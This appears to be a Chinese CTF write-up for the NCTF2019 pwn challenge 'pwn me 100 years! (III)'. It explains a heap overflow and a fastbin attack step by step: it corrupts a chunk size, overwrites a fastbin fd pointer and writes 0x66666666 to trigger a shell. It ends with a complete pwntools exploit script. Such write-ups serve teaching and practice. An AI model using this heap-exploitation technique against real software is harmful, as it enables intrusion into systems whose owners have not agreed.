【Pwn】NCTF2019 pwn me 100 years! (Ⅲ)

main函数
首先创建了一个0x10大小的堆块，最后如果这个堆块的值为0x66666666那么执行/bin/sh。那么想办法分配到这块内存空间即可。

看看中间的菜单，找到漏洞在edit函数中，read为固定的0x20个字节，由于最小堆块的大小是0x10，共享pre_size的8个字节，0x10和0x18分配的大小都是0x10字节，所以存在0x10个字节的溢出，但是0x10大小的字节只能覆盖到下一个chunk的size部分，不能直接修改掉fd部分，所以通过修改size进行下一步溢出。

首先分配4个chunk
add(16,‘aaaa’)#0
add(16,‘bbbb’)#1
add(16,‘cccc’)#2
add(16,‘dddd’)#3
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadbeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxxxxxcccc xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxxdddd xxxxxxxxxxxxxxxx
接着将chunk3,chunk2 free掉
delete(3)
delete(2)
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadfeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxkkkkkkkk xxxxxxxxxxxxxxxx （这里chunk2在fastbin 链栈上了 fd指向chunk3，k表示chunk3地址）
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxx0000 xxxxxxxxxxxxxxxx
接着修改chunk0，覆盖chunk1的size。
edit(0,‘a’*0x18+p64(0x41))，chunk1大小变为0x41
free chunk1，那么chunk1就会被链到大小为0x30（去除头部0x10）的fastbin中去，那么接下来再malloc（0x30）就会将chunk1分配回来，且可以输入0x30大小的字符串于是就可以去覆盖chunk2的fd部分做fastbinattack了，动态调试发现堆地址最低字节是00，于是只要将chunk2的fd最低字节改为00即可。

from pwn import *
io=remote("xx.xx.xx.xx","xxxxx")
def add(size,data):
    io.recvuntil('5,exit\n')
    io.sendline('1')
    io.recvuntil('size')
    io.sendline(str(size))
    io.recvuntil('content:')
    io.send(data)

def delete(index):
    io.recvuntil('5,exit\n')
    io.sendline('2')
    io.recvuntil('idx:')
    io.sendline(str(index))

def edit(index,data):
    io.recvuntil('5,exit\n')
    io.sendline('4')
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('content:')
    io.send(data)

def show(index):
    io.recvuntil('5,exit\n')
    io.sendline('3')
    io.recvuntil('idx')
    io.sendline(str(index))

add(16,'aaaa')#0
add(16,'bbbb')#1
add(16,'cccc')#2
add(16,'dddd')#3

delete(3)
delete(2)
edit(0,'a'*0x18+p64(0x41))
delete(1)
add(0x30,'a'*0x18+p64(0x21)+p8(0))

add(16,'aaaaaa')
add(16,p64(0x66666666))
io.sendline('5')
io.interactive()